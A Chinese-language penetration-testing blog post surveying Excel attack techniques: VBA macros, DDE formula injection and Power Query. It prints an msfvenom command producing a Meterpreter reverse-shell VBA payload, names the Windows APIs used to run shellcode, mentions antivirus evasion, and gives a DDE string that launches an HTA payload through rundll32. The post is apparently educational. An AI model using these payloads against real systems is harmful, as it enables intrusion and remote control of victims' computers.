关于 Excel 的攻击探讨

释放双眼,带上耳机,听听看~!

近些年来APT趋势增长,有更多的恶意样本流传于世,这篇文章便初步探讨下Excel的一些攻击。站在攻击者的视角查看一些利用手法,知己知彼方能百战不殆。

随着趋势的发展,office文件一套成为了办公的需要,但同时软件的安全,也成为了企业部门保护信息重症之地。许多组织机构对企业发起APT攻击,其中最为常见的手法有鱼叉钓鱼、水坑攻击等。

在市面上流传的Excel样本,大都数都是如下攻击手法:

  • office宏攻击
  • DDE攻击
  • Power Query DDE (DDE的一种)

office宏攻击(Macros)

所谓宏,就是一些命令组织在一起,作为一个单独命令完成一个特定任务。Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”。Word使用宏语言Visual Basic将宏作为一系列指令来编写。

可以通过Kali的msfvenom生成vba恶意代码:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f vba -o shellcode.vba

创建一个xls文件,并开启开发者模式

找到宏

创建一个宏

shellcode利用相关API函数进行线程创建、内存申请、内存拷贝以及最后执行shellcode

  • CreateThread 创建线程
  • VirtualAlloc 申请虚拟内存空间
  • RtlMoveMemory 拷贝内存

大都数组织都在此处将shellcode通过运行自解密、花指令等混淆的方式来规避AV(反杀毒软件)

 

DDE攻击

动态数据交换(DDE),是在Windows操作系统中实现的客户端/服务端通信的方法。

当我们打开文件时,Excel会对文件的每一行分别进行检查。在对各行的内容进行分隔并复制到适当的单元格之前,Excel会检查该行是否以其命令字符开头,即用于内部函数的字符:“=”、“+”、“ – ”和“@”。根据命令前缀的不同,可能会发生以下两种情况之一:

  1. 如果前缀是“=”、“+”或“ – ”,则将其余部分视为表达式
  2. 如果前缀为“@”,Excel将搜索内部函数(例如SUM())并将参数解释为表达式

实际上,命令本身也是一种表达式。

执行外部命令

最终弹出calc

同时可以利用字符串拼接的特性构造payload

=MSEXCEL|'......WindowsSystem32rundll32.exe url.dll,FileProtocolHandler  c:temppayload.hta'!_xlbgnm.A1

Power Query

惭愧,Power Query的方式一直没有复现成功,不知为何一直访问失败。这里附上网上的Power Query技术分析:https://xz.aliyun.com/t/5514

感兴趣的朋友可以去看看

渗透教程漏洞

Python 编程之 Socket 编程基础

2020-6-13 19:27:54

渗透教程

利用 Java 编写的盲注脚本

2020-6-14 20:59:18

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索